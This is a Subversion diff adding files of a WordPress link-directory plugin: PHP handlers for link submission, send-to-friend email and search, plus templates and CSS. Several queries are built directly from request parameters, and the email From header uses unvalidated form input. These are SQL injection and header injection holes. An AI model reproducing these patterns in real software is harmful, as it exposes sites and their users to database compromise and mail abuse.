+				mysql_query("INSERT INTO {$table_prefix}odnew_links (n_url, n_title, n_description, n_email, n_category) VALUES ('$url', '$title', '$description', '$email', $category)");
+				$msg="<font color=\"green\">Your URL was sucessfully submitted for editor review!<p>Feel free to submit another URL.</font><p>&nbsp;</p>";
+				$out=_odl_email_notifications($url, $title, $description, $email, $category);
+				$displayform=false;
+			} else {
+				$displayform=true;
+			}
+		}	
+	}
+
+	if ($displayform==true){
+		$space="";
+		if($odlinkssettings['confirmation_code']=='y'){ 
+			$aFonts=array(ABSPATH."wp-content/plugins/odlinks/includes/fonts/arial.ttf");
+			$oVisualCaptcha=new _odl_captcha($aFonts);
+			$captcha=rand(1, 50).".png";
+			$oVisualCaptcha->create(ABSPATH."wp-content/plugins/odlinks/includes/Smarty/cache/".$captcha);
+$confirm='<tr><td class="odl_label_right">Confirm: </td><td><img src="'.get_bloginfo('wpurl').'/wp-content/plugins/odlinks/includes/Smarty/cache/' .$captcha.'" alt="ConfirmCode" align="middle"/></td></tr>';
+
+$confirm .= '<tr><td></td><td><input type="text" name="odlinksdata[odl_captcha]" id="odlinksdata[odl_captcha]" size="10"></td></tr>';
+
+			$tpl->assign('confirm',$confirm);
+		}
+	
+		for ($x=0; $x < $lev; $x++) {
+			$space .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
+		}
+
+		$sql="SELECT * FROM {$table_prefix}odcategories WHERE c_parent='$parent' ORDER BY c_title ASC";
+		$categories=$wpdb->get_results($sql);
+		for ($i=0; $i<count($categories); $i++){
+			$row=$categories[$i];
+			$sql="SELECT COUNT(l_id) as count FROM {$table_prefix}odlinks WHERE l_hide='visible' AND l_c_id='".$row->c_id."'";
+ 			$result=$wpdb->get_row($sql, ARRAY_A); 
+			$links_num=$result['count']; 
+			$id=intval($row->c_id); 
+                	$title=$row->c_title; 
+                	$option .= "<option value=\"$id\">$space$title ($links_num)</option>\n";
+		}
+
+		$tpl->assign('categories',$option);
+		$tpl->assign('error','<font color="red">'.$msg.'</font>');
+		$tpl->assign('url',$url);
+		$tpl->assign('title',$title);
+		$tpl->assign('description',$description);
+		$tpl->assign('email',$email);
+		
+	} else {
+		odlinksdisplay_index($msg);
+	}
+	if ($odlinkssettings[odlinksshow_credits] == 'y') {
+		$credit='Open Directory Links Powered By <a href="http://www.forgani.com/" target="_blank">4gani</a> Version '.$odlinksversion;
+		$tpl->assign('odl_credit_line', $credit);
+	}
+
+	list($gAd, $top, $btn)=get_odl_GADlink();
+	if ($gAd) {
+		$code='<div class="odl_googleAd">'.$gAd.'</div>';
+		$tpl->assign('googletop',$top); 
+		$tpl->assign('googlebtn',$btn); 
+		$tpl->assign('googleAd',$code); 
+	}
+
+	odlinks_footer($tpl);
+	$tpl->display('addurl.tpl');
+} //odlinkspost_link
+
+
+function odlinkssend_link(){
+	global $_GET, $_POST, $table_prefix, $wpdb;
+
+	$odlinkssettings=get_option('odlinksdata');
+	$id=$_GET['id'];
+	$sql="SELECT * FROM {$table_prefix}odlinks WHERE l_id=".$id;
+	$results=$wpdb->get_results($sql); 
+	if (!empty($results)) {
+		foreach ($results as $result) {
+			$description=$result->l_description;
+			$name=$result->l_name;
+			$title=$result->l_title;
+			$url=$result->l_url;
+		}
+	}
+	$displayform=true;
+	$tpl=new ODLTemplate();
+	$tpl->assign('title', $title); 
+	$tpl->assign('description', $description); 
+	$tpl->assign('odl_images', get_bloginfo('wpurl')."/wp-content/plugins/odlinks");
+	//$odl_advanced=odlinkscreate_link("searchlink", array("name"=>'Advanced'));
+	//$tpl->assign('odl_advanced', $odl_advanced);
+	$odl_search_link=odlinkscreate_link("searchform", array());
+	$tpl->assign('odl_search_link', $odl_search_link);
+	$odl_main_link=odlinkscreate_link("index", array("name"=>"Main"));
+	$odl_top_link=odlinkscreate_link("index", array("name"=>$odlinkssettings['page_link_title']));
+	$tpl->assign('odl_top_link', $odl_top_link); 
+	$tpl->assign('odl_main_link', $odl_main_link); 
+	$tpl->assign('odl_wpurl', get_bloginfo('url'));
+
+	if ($_POST['odlinks_send_link']=='yes'){
+		$sendAd=true;
+		$yourname=$_POST['odlinksdata'][yourname];
+		$mailfrom=$_POST['odlinksdata'][mailfrom];
+		$mailto=$_POST['odlinksdata'][mailto];
+		if (!eregi("^[a-z0-9]+([-_\.]?[a-z0-9])+@[a-z0-9]+([-_\.]?[a-z0-9])+\.[a-z]{2,4}$", $_POST['odlinksdata'][mailto])){
+			$msg='_INVALIDEMAIL2';
+			$sendAd=false;
+		}
+		if($odlinkssettings['confirmation_code']=='y'){ 
+			if (! _odl_captcha::Validate($_POST['odlinksdata']['odl_captcha'])) {
+   				$msg="The confirmation code didn't matched.";
+				$sendAd=false;
+  			}
+		}
+		if ($sendAd == true) {
+			$displayform=false;
+			$message="Dear ".$_POST['odlinksdata'][fname]."<br>";
+			$message .= "Your friend ".$yourname." send you this interesting website about <b>".$title."</b><br><br>";
+			$message .= 'links detail: '.$description."<BR>";
+			$message .= 'link: '.$url;
+			$message .= '<BR><BR><HR>Link Directory Sites '.get_bloginfo('wpurl')."/?page_id=".$pageinfo["ID"].' and Service';
+  			$txt=odl_html2text($message); 
+			$from="From: ".$yourname."<" .$mailfrom.">";
+			$from .= "Content-Type: text/html";
+			$sub="your friend ".$yourname." sent you an interesting website ;-)";
+			$email_status=_odl_send_email($mailto, $sub, $txt, $from); //, $from
+			if ($email_status[0] == false) {
+				$msg=$email_status[1];
+				$sendAd=false;
+			} else {
+				odlinksdisplay_index($email_status[1]);
+			} 	
+		}
+	} else {
+		$displayform=true;
+	}
+
+	if ($displayform==true){
+		if($odlinkssettings['confirmation_code']=='y'){ 
+			$aFonts=array(ABSPATH."wp-content/plugins/odlinks/includes/fonts/arial.ttf");
+			$oVisualCaptcha=new _odl_captcha($aFonts);
+			$captcha=rand(1, 50).".png";
+			$oVisualCaptcha->create(ABSPATH."wp-content/plugins/odlinks/includes/Smarty/cache/".$captcha);
+$confirm='<tr><td class="odl_label_right">Confirm: </td><td><img src="'.get_bloginfo('wpurl').'/wp-content/plugins/odlinks/includes/Smarty/cache/' .$captcha.'" alt="ConfirmCode" align="middle"/></td></tr>';
+
+$confirm .= '<tr><td></td><td><input type="text" name="odlinksdata[odl_captcha]" id="odlinksdata[odl_captcha]" size="10"></td></tr>';
+
+			$tpl->assign('confirm',$confirm);
+		}
+		$tpl->assign('error','<font color="red">'.$msg.'</font>');
+		$tpl->assign('yourname',$yourname);
+		$tpl->assign('mailfrom',$mailfrom);
+		$tpl->assign('mailto',$mailto);
+		$tpl->assign('fname',$fname);
+	} else {
+		odlinksdisplay_index($msg);
+	}
+	if ($odlinkssettings[odlinksshow_credits] == 'y') {
+		$credit='Open Directory Links Powered By <a href="http://www.forgani.com/" target="_blank">4gani</a> Version '.$odlinksversion;
+		$tpl->assign('odl_credit_line', $credit);
+	}
+
+	list($gAd, $top, $btn)=get_odl_GADlink();
+	if ($gAd) {
+		$code='<div class="odl_googleAd">'.$gAd.'</div>';
+		$tpl->assign('googletop',$top); 
+		$tpl->assign('googlebtn',$btn); 
+		$tpl->assign('googleAd',$code); 
+	}
+
+	odlinks_footer($tpl);
+	$tpl->display('sendurl.tpl');
+}
+
+
+
+# EMAIL ROUTINE 
+function _odl_send_email($mailto, $mailsubject, $mailtext, $from) {
+	global $lang;
+	$email_status=array();
+	$email=wp_mail($mailto, $mailsubject, $mailtext, $from);
+	if ($email == false) {
+		$email_status[0]=false;
+		$email_status[1]="The email could not be sent!";
+	} else {
+		$email_status[0]=true;
+		$email_status[1]="The email sent successfully!";
+	}
+	return $email_status;
+}
+
+
+
+# NOTIFICATION EMAILS 
+function _odl_email_notifications($url, $title, $description, $email, $category){
+	global $lang, $PHP_SELF;
+
+	$odlinkssettings=get_option('odlinksdata');
+	$out='';
+	$eol="\r\n";
+	
+	# notify admin?
+	$msg='';
+
+	$msg.= sprintf(__('New Post, '.date("j-M-Y, l").' and is waiting for your Approval on your site %s:'), get_option('blogname')).$eol;
+	$msg.=  " Please visit the admin panel";
+	$msg .= $eol."WebSite: ".$url;
+	$msg .= $eol."Title: ".$title;
+	$msg .= $eol."Description: ".$description;
+	$msg .= $eol."Email: ".$email;
+	$msg .= $eol."Category: ".$category.$eol;
+	# admin message
+	$url = admin_url("admin.php?page=odlinks&odlinks_admin_page_arg=odlinksposts&odlinks_admin_action=approvelinks");
+	$msg .= $eol."Approve or delete it: ".$url.$eol;
+	//$msg.= $lang['_FROM'].': '.$subject.$eol;
+	$adminStruct=get_userdata($ADMINID);
+	$email_status=_odl_send_email(get_option('admin_email'), get_bloginfo('name').': '.'A new (ODL)post is waiting for your Approval', $msg, '');
+	return $email_status;
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_search.php	(revision 44)
@@ -0,0 +1,91 @@
+<?php
+
+/*
+ * odl_search.php
+ * wordpress plugin website directory project
+ * @author Mohammad Forgani
+ * @copyright Copyright 2008, Oh Jung-Su
+ * @version 0.2
+ * @link http://www.forgani.com
+ */
+
+
+function odlinksdisplay_search(){
+	global $_GET, $_POST, $table_prefix, $wpdb, $PHP_SELF;
+	
+	$odlinkssettings = get_option('odlinksdata');
+	
+	$tpl = new ODLTemplate();
+
+	$tpl->assign('odl_images', get_bloginfo('wpurl') . "/wp-content/plugins/odlinks");
+	$odl_main_link = odlinkscreate_link("index", array("name"=>"Main"));
+	$odl_top_link = odlinkscreate_link("index", array("name"=>$odlinkssettings['page_link_title']));
+	$results_limit = 10;
+	$tpl->assign('results_limit', $results_limit); 
+	$tpl->assign('odl_top_link', $odl_top_link); 
+	$tpl->assign('odl_main_link', $odl_main_link); 
+	$tpl->assign('odl_wpurl', get_bloginfo('url'));
+
+	$type = $_GET['type'];
+	$search_terms = $_GET['search_terms'];
+	$tpl->assign('search_terms',$search_terms);
+
+	if(isset($search_terms)){
+		$search_terms = stripslashes($_GET['search_terms']);
+		$searchwords = addslashes(htmlspecialchars($search_terms));
+	}
+	
+	if(!$searchwords){
+		$tpl->assign('odl_search_error', "You didn't search for anything!");
+	} else {
+		if($type == "links"){
+			$sql ='SELECT * FROM ' . $table_prefix . 'odlinks WHERE MATCH (l_url) AGAINST("'.$searchwords.'" IN BOOLEAN MODE)';
+			$results = $wpdb->get_results($sql);
+			if(!$results){
+				$tpl->assign('odl_search_error', "No posts matched your search terms.");
+			} else {
+				for ($i=0; $i<count($result); $i++){
+					$row = $result[$i];
+					$row->fields = round($row->field,3);
+					$row->title = highlight($row->title,$search_terms);
+					$row->description = highlight($row->description,$search_terms);
+					$results[] = $row;
+				}
+				$tpl->assign('search_terms',$search_terms);
+			}
+		} elseif($type == "desc"){
+			$sql ='SELECT * FROM ' . $table_prefix. 'odlinks WHERE MATCH (l_title,l_description) AGAINST("'.$searchwords.'" IN BOOLEAN MODE)';
+			$results = $wpdb->get_results($sql);
+			if(!$results){
+				$tpl->assign('odl_search_error', "No posts matched your search terms.");
+			} else {
+				for ($i=0; $i<count($result); $i++){
+					$row = $result[$i];
+					$row->title = highlight($row->title,$search_terms);
+					$row->description = highlight($row->description,$search_terms);
+					$results[] = $row;
+				}
+				$tpl->assign('search_terms',$search_terms);
+			}
+		} else {
+			$sql = 'SELECT * FROM '.$table_prefix.'odpages WHERE MATCH (l_url,l_title,l_description) AGAINST("'.$searchwords.'")';
+			$results = $wpdb->get_results($sql);
+			for ($i=0; $i<count($result); $i++){
+				$row->fields = round($row->field,3);
+				$row->title = highlight($row->title,$search_terms);
+				$row->description = highlight($row->description,$search_terms);
+				$results[] = $row;
+			}
+			$tpl->assign('search_terms',$search_terms);
+		}
+		
+	}
+	$tpl->assign('results', $results);
+	$odl_search_link=odlinkscreate_link("searchform", array());
+	$tpl->assign('odl_search_link', $odl_search_link);
+	//$odl_advanced = odlinkscreate_link("searchlink", array("name"=>'Advanced'));
+	//$tpl->assign('odl_advanced', $odl_advanced);
+	$tpl->display('search.tpl');
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/addurl.tpl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/addurl.tpl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/addurl.tpl	(revision 44)
@@ -0,0 +1,68 @@
+{include file='header.tpl'}
+
+<div class="odl_container">
+	<h3>Submit a Site</h3>
+	<div class="editform">
+	
+	{if $error}
+		<font color="red"><b>{$error}</b></font><hr>
+	{/if}
+	
+	
+	{if $googletop}
+		{$googleAd}
+	{/if}
+	
+	
+	<font color="green">&nbsp;All fields are REQUIRED!</font>
+	{if $title} 
+		<br>Category: {$title}
+	{/if}
+	{if $description} 
+		<br>{$description}
+	{/if}
+	<form method="post" id="odl_addlink_post" name="odl_addlink_post" onsubmit="this.sub.disabled=true;this.sub.value='Posting Link...';" action="{$odl_post_link}">
+	<input type="hidden" name="odlinkspost_topic" value="yes" />
+	<table border=0 cellpadding=5 cellspacing=5 width="90%">
+		<tr bgcolor="#F4F4F4">
+		<td class="odl_label_right">URL of the page: </td>
+		<td><input type="text" name="odlinksdata[url]" value="{$url}" size="50"></td>
+		</tr>
+		<tr>
+		<td class="odl_label_right">Website Title: </td>
+		<td><input type="text" name="odlinksdata[title]" value="{$title}" size="50"><br />
+		<span class ="smallTxt">Maximum 50 characters</span></td>
+		</tr>
+		<tr bgcolor="#F4F4F4">
+		<td class="odl_label_right">Description: </td>
+		<td><textarea rows="6" name="odlinksdata[description]" cols="40">{$description}</textarea><br />
+		<span class ="smallTxt">Maximum 250 characters</span></td>
+		</tr>
+		<tr>
+		<td class="odl_label_right">Category: </td>
+		<td>
+		<select size="1" name="odlinksdata[category]">{$categories}</select><br />
+		<span class ="smallTxt">Submit to the one best category possible.</span></td>
+		</tr>
+		<tr bgcolor="#F4F4F4">
+		<td class="odl_label_right">Email address: </td>
+		<td><input type="text" name="odlinksdata[email]" value="{$email}" size="40">
+		<br /><span class ="smallTxt">Note: Your email address is only used to notify the editorand to notify you on the status of your submission.</span></td>
+		</tr>
+		{$confirm}
+		<tr bgcolor="#F4F4F4"><td></td><td bgcolor="#F4F4F4"><p>We don't accept all sites, so please don't take it personally should your site not be accepted.<BR>
+	<input type=submit value="Add URL" name=odlinksdata[add]></p></td></tr>
+		
+	</table>
+	
+	{php}do_action('odlinkspost_topic_above_submit');{/php}
+	<p>&nbsp;</p>
+	</form>
+	
+	{if $googlebtn}
+		{$googleAd}
+	{/if}
+	</div>
+<HR />
+<div class="main-content">
+{include file='footer.tpl'}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/body.tpl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/body.tpl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/body.tpl	(revision 44)
@@ -0,0 +1,118 @@
+{include file='header.tpl'}
+
+<div class="odl_list">
+	<div class="odl_list_top">
+		<div class="odl_search"> 
+			<form method="get" id="odl_addlink_post" name="odl_addlink_post" action="{$odl_search_link}">
+			<table><tr><td>
+			<input type="text" name="search_terms" size="30" value="{$search_terms}">
+			<input type="submit" value="Search">&nbsp;{$odl_advanced}
+			</td></tr>
+			<tr><td align="left">
+			Links:&nbsp;<input type="radio" value="links" name="type">&nbsp;&nbsp;
+			Description:&nbsp;<input type="radio" value="desc" name="type">&nbsp;&nbsp;
+			All:&nbsp;<input type="radio" value="desc" name="type" checked>&nbsp;&nbsp;
+			</td></tr></table>
+			</form>
+		</div>
+		{if $cat_id > "0"}
+			<P>
+			<p class="odl_head_navi"><b>{$odl_main_link}</b>:{$navigation_link}</p>
+			{if ($odl_navigation_description)} 
+				<span class ="odl_navigation_description">{$odl_navigation_description}</span>
+			{/if}
+		{/if}
+		{if ($addurl_link)}
+			<span class="odl_head_addurl"><img src="{$odl_images}/images/addtopic.jpg">{$addurl_link}</span>
+		{/if}
+	</div>
+</div>
+
+<P>
+<div class="odl_container">
+	<div class="odl_editform">
+	{if $error}
+		<b>{$error}</b><hr>
+	{/if}
+	</div>
+	<div class="main-content">
+	{if ($cat_id != 0) && ($cat_desc <> "")}
+		Description<br />{$cat_desc}
+	{/if}
+
+	{if $googletop}
+		{$googleAd}
+	{/if}
+
+	{if $categories}
+	<h3>Categories</h3></td>
+	<table border="0" width="100%" class="tbody" cellspacing="1" cellpadding="1">
+	<tr>
+		<td width="100%">
+		<table border="0" width="97%" cellspacing="3" cellpadding="3"><tr> 
+		{foreach from=$categories name=categories item=cat key=cats}
+			<td valign="top" width="50%">
+	
+					<img src="{$odl_images}/images/folder.gif"><b>{$cat.cat_link}</b>({$cat.c_links})<br>
+					{if $subcategories}
+						<table border="0"><tr><td>&nbsp;&nbsp;&nbsp;
+						{foreach from=$subcategories item=sub key=subs name=subcount}
+							{if $sub.c_parent==$cat.c_id}
+								{if $sub.c_no<4}
+									{$sub.c_path}
+								{else}.{/if}
+							{/if}
+						{foreachelse}
+						No items were found.
+						{/foreach}
+						</td></tr></table>
+	
+				{/if}
+			</td> 
+			{if $smarty.foreach.categories.iteration is div by 2} 
+			</tr><tr>
+			{elseif not $smarty.foreach.categories.last}
+				<td>&nbsp;</td>
+			{/if}
+		{/foreach} 
+		</tr></table>
+		</td>
+	</tr>
+	</table>
+	{else}
+	<BR />
+	{/if}
+	{if $links}
+		<h3>Links</h3>
+		{foreach from=$links item=item key=key}
+			<div class="viewlink">
+			<table border=0><td valign="top"><a href="{$item.url}" class="previewlink" target=_blank>&nbsp;&nbsp;&nbsp;</a></td>
+			<td><!--img src="{$odl_images}/images/link.jpg"--><b><a href="{$item.url}" target=_blank>{$item.title}</a></b>&nbsp;<span class ="smallTxt">Added: {$item.date}</span><br/>
+			{if $item.description <> ""}{$item.description}</td></tr>
+			<tr><td></td><td>
+			<br>
+			<img src="{$odl_images}/images/favourite.gif"><a href="javascript:addbookmark('{$item.url}','{$item.title}');"><font color="#840000">Add to Favourite</font></a>
+			&nbsp;&nbsp;<img src="{$odl_images}/images/refer.gif">{$item.sendlink}
+			&nbsp;&nbsp;{$item.rank_txt}<img src="{$odl_images}/images/{$item.rank_img}">
+			</td></tr></table>
+			{/if}
+			</div>
+		{/foreach}
+	{/if}
+	<BR />
+	<BR />
+	{if $new_links}
+		<h3>Last {$linksNum} links posted...</h3>
+		{foreach from=$new_links item=item key=key}
+			<a href="{$item.url}" class="previewlink" target=_blank>&nbsp;&nbsp;&nbsp;</a><a href="{$item.url}" target=_blank>{$item.title}</a>&nbsp;
+			<div class="smallTxt">({$item.category}&nbsp;[{$item.date}])</div><br />
+		{/foreach}
+	{/if}
+	<BR />
+	{if $googlebtn}
+		<div class="odl_googleAd">{$odl_googleAd}</div>
+	{/if}
+	<h3>Legend</h3>
+	<span class ="smallTxt">Categories: {$categories_total}, Links: {$links_total}</span>
+
+{include file='footer.tpl'}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/css/odlinks.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/css/odlinks.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/css/odlinks.css	(revision 44)
@@ -0,0 +1,331 @@
+/*  
+* default
+* ODLinks, wordpress links directory project
+Author: M. Forgani
+Author URI: http://forgani.com/
+*/
+
+.viewlink{
+	background-color: #fafafa;
+	border: 1px solid #aaa;
+	padding:0.5em;
+	margin-top:0.5em;
+}
+
+.previewlink{
+	background: url(/wp-content/plugins/odlinks/images/camera.gif) no-repeat left top;
+}
+
+.odl_head{
+	padding-top:.5em;
+}
+
+.odl_head img{
+	float: left;
+	border:0;
+}
+
+.odl_head_desc{
+	vertical-align: middle;
+	padding: 5px 0;
+	font-weight: bold;
+}
+
+.odl_search{
+	padding-top: 5px;
+	text-align:right; 
+	float:right;
+	clear:both;
+}
+
+.odl_googleAd {
+	padding: 5px 0;
+	text-align: center;
+}
+
+
+.odl_container {
+	/*border: 1px solid #c5b2b3;*/
+	padding: 4px 2px;
+	text-decoration: none;
+	clear:both;
+}
+
+.odl_container img{
+	border:0;
+	vertical-align: middle;
+}
+
+.odl_container hr {
+	height: 1px;
+}
+
+.main-content {
+	padding: 0;
+} 
+
+.main-content p {
+	line-height: 1.2em;
+   	border-bottom: 1px solid #aaa;
+	font-weight: bold;
+	padding: 0 5px;
+} 
+
+.main-content h3 {
+   	border-bottom: 1px solid #ccc;
+} 
+
+.tbody {
+	background-color: #fafafa;
+	border: 1px solid #ccc;
+} 
+
+.column-left{
+	float: left;
+	margin-bottom: 10px;
+	margin-left: 15px;
+}
+
+.list-content{
+	margin-top: 10px;
+	margin-bottom: 10px;
+	clear: both;
+	margin-left: 15px;
+}
+
+.list-content img{
+	margin: 0px;
+	border:0;
+}
+
+.catphoto{
+	float: left;
+	margin-top: 0px;
+	margin-right: 15px;
+	border:0;
+}
+
+
+.list-content h2{
+	text-align: left;
+	font-weight: bold;
+	padding-left: 130px;
+}
+
+.odl_list { 
+/*border: 1px solid #C5B2B3;*/
+	padding: 1px;
+	
+}
+
+.odl_list_top{
+	padding: 5px;
+	margin: 0;
+	background-color:#F9F9F9;
+}
+
+.odl_head_navi{
+	clear:both;
+	text-align: left;
+	border-bottom: 1px solid #aaa;
+	padding:1em 0 .3em .3em;	
+} 
+
+.odl_head_addurl{
+	float:right;
+	font-weight: bold;
+	padding:1em 0 .3em .3em;
+} 
+
+.odl_head_addurl a{
+	color:#006500;
+} 
+
+
+.odl_list_top img{
+	vertical-align: middle;
+	padding: 0 2px;
+	border: none;
+}
+
+.odl_list hr { 
+	clear:both;
+	margin: 3px;
+}
+
+.odl_list_sub {
+	border-spacing: 0px;
+	clear:both;
+	font-weight: bold;
+}
+
+
+div.info{text-align:right;margin:1em 0;padding:0}
+div.info div{display:inline;white-space:nowrap}
+div.info div.left{float:left} 
+
+.info img{
+	vertical-align: middle;
+	padding: 0 2px;
+	border: none;
+}
+
+.rightTxt{
+	text-align: right;
+}
+
+.show_ad_banner{
+	text-align: center;
+	padding-top: 10px;
+}
+
+.odl_subcat {
+	letter-spacing: normal;
+	border-spacing: 0;
+	padding:0;
+} 
+
+.odl_editform {
+	margin-top: 10px; 
+}
+
+.odl_editform img {
+	border:0;
+}
+.odl_editform h2{
+	font-weight: bold;
+	margin: 10px 0 0 10px; 
+}
+
+.odl_editform h3{
+	margin: 10px 0 0 10px; 
+}
+
+.odl_editform table {
+	width: 99%;
+	margin-top: 20px;
+}
+
+.odl_editform table td, .border {
+	padding: 2px;
+	margin: 0px;
+	border-top: 1px solid #efefef;
+}
+
+.odl_label_right{
+	text-align: right;
+	padding: 5px;
+	min-width: 150px;
+	font-weight: bold;
+	vertical-align: top;
+}
+
+.odl_editform .input, .odl_editform select, .odl_editform textarea{
+}
+
+.odl_footer{
+	margin-top: 4px;
+	padding: 8px 5px 20px 0;
+	vertical-align: middle;
+}
+
+.odl_footer hr {
+	height: 0px;
+}
+
+.odl_footer img{
+	vertical-align: middle;
+	padding: 0 2px;
+	border: none;
+}
+
+.rssCell{
+	color: #32527a;
+	margin: 0;
+	padding: 0 5px 0 0;
+	text-align: right;
+	vertical-align: middle;
+	font-weight: bold;
+} 
+
+.rssIcon,
+.rssIcon p, .rssIcon img {
+	border: none;
+	font-weight: bold;
+	text-decoration: none;
+	vertical-align: middle;
+} 
+
+
+.smallRed{
+	color: red; 
+	font-size: 80%;
+}
+
+
+.imgMiddle{
+	vertical-align: middle;
+	padding: 0 2px 0 2px;
+	border: none;
+}
+
+.rightCell{
+	margin-top: 4x;
+	padding: 8px 5px 2px 0;
+	float: right;
+	text-align: right;
+	vertical-align: middle;
+	font-weight: bold;
+}
+
+.leftCell{
+	margin-top: 4px;
+	padding: 8px 5px 2px 0;
+	vertical-align: middle;
+	float: left;
+}
+
+.rightCellsend{
+	margin-top: 4px;
+	padding: 8px 5px 2px 0;
+	vertical-align: middle;
+	float: right;
+	text-align: right;
+}
+
+.odl_error{
+	margin: 0;
+	padding: 0 0 10px 0;
+	color: red;
+	font-weight: bold;
+}
+
+.odl_message{
+	margin: 0;
+	padding: 0 0 10px 0;
+	color: green;
+	font-weight: bold;
+}
+
+
+.smallTxt{
+	font-size:8px;
+	color: #555;
+	display:inline;
+}
+
+.legend{
+	padding: 10px;
+	color: blue;
+} 
+
+.fieldset{
+	margin-bottom: 1em;
+	padding:.5em;
+	border: 1px solid #aaa;
+} 
+
+.odl_navigation_description{
+top: -8px;
+Position:relative;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/footer.tpl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/footer.tpl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/footer.tpl	(revision 44)
@@ -0,0 +1,7 @@
+<div class="odl_footer"><img src="{$odl_images}/images/rss.png" />{$rssurl}&nbsp;{$odl_top_link}<br />
+	{$wpClassified_slug_url}
+	<div class="smallTxt">&nbsp;{$odl_credit_line}</div> 
+</div>
+
+</div><!--main-content-->
+</div><!--odl_container-->
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/header.tpl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/header.tpl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/header.tpl	(revision 44)
@@ -0,0 +1,14 @@
+
+<link rel="stylesheet" href="{$odl_images}/themes/default/css/odlinks.css" type="text/css" media="screen">
+
+
+<div class="odl_head">
+	Submitting your website URL link to <b>our free online web directory</b><br>
+	This will help you to get high quality traffic back to your site and increase your link popularity.
+	<div style="float:right; padding:5px; margin:5px; font-weight:bold; color:#006500;">PLEASE CHOOSE A TOPIC AND SUBMIT YOUR POST</div>
+	<!--div class="wpc_head_img"><img src={$odl_images}/images/folder.gif></div-->
+	<div class="odl_head_desc">{$odl_top_link}&nbsp;{$odl_description}</div>
+</div><!--wpc_head--> 
+
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/search.tpl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/search.tpl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/search.tpl	(revision 44)
@@ -0,0 +1,51 @@
+{include file='header.tpl'}
+
+<div class="odl_container">
+	<div class="main-content">
+	{if $results}
+		<table border=0 width="100%"><tr><td width="100%">
+		<font size=1>Searching for: <font color=green>{$search_terms}</font><br />Found: <font color=green>{$results_num}</font> relevant matches, displaying <font color=green>{$results_limit}</font> results per page</font></td></tr></table>
+		
+		<hr>
+		
+		{section name=item loop=$results}
+		<font size=2><li><a href="{$results[item]->l_url}">{$results[item]->l_title}</a>
+		<a target="_blank" href="{$item.l_url}">
+		<img border=0 src="{$odl_images}/images/nw2.gif"></a>{if $results[item]->l_recip == "1"} 
+		<img src="{$odl_images}/images/recip.gif">{/if}<br>{$results[item]->l_description}<br />
+		<font size=1><font color=green>{$results[item]->l_url}</font><br />Date: {$results[item]->l_date}, Google PR: {$results[item]->l_google_rank}, Recip: {if $results[item]->l_recip == "1"} Yes{else} No{/if}</font>
+		{/section}
+		
+		<hr>
+		
+		<table border=0 width="100%"><tr><td width="100%">
+		<font size=1>Searching for: <font color=green>{$search_terms}</font><br />
+		Found: <font color=green>{$results_num}</font> relevant matches, displaying 
+		<font color=green>{$results_limit}</font> results per page</tr></table>
+		
+		<div class="odl_search"> 
+				<form method="get" id="odl_addlink_post" name="odl_addlink_post" action="{$odl_search_link}">
+				<table><tr><td>
+				<input type="text" name="search_terms" size="30" value="{$search_terms}">
+				<input type="submit" value="Search">&nbsp;{$odl_advanced}
+				</td></tr>
+				<tr><td align="left">
+				Links:&nbsp;<input type="radio" value="links" name="type">&nbsp;&nbsp;
+				Description:&nbsp;<input type="radio" value="desc" name="type">&nbsp;&nbsp;
+				All:&nbsp;<input type="radio" value="desc" name="type" checked>&nbsp;&nbsp;
+				</td></tr></table>
+				</form>
+		</div>
+		</td></tr></table>
+	
+	{else}
+		<p>&nbsp;</p>
+		{if !$odl_search_error==""}
+		<div>
+			{$odl_search_error}
+		</div>
+		{/if}
+		<p>&nbsp;</p>
+	{/if}
+
+{include file='footer.tpl'}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/sendurl.tpl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/sendurl.tpl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/sendurl.tpl	(revision 44)
@@ -0,0 +1,51 @@
+{include file='header.tpl'}
+
+<div class="odl_container">
+	<h3>Send this link to a friend</h3>
+	<div class="editform">
+	
+	{if $error}
+		<font color="red"><b>{$error}</b></font><hr>
+	{/if}
+
+	{if $googletop}
+		{$googleAd}
+	{/if}
+	
+	<font color="green">&nbsp;All fields are REQUIRED!</font>
+	<HR>
+	<BR>
+	<p><b>Title: </b>{$title}<BR><b>Description: </b>{$description}</p>
+	<form method="post" id="odl_sendlink" name="odl_sendlink" onsubmit="this.sub.disabled=true;this.sub.value='Sending Link...';" action="{$odl_send_link}">
+	<input type="hidden" name="odlinks_send_link" value="yes" />
+	<table border=0 cellpadding=5 cellspacing=5 width="90%">
+		<tr bgcolor="#F4F4F4">
+		<td class="odl_label_right">Your name: </td>
+		<td><input type="text" name="odlinksdata[yourname]" value="{$yourname}" size="35"></td>
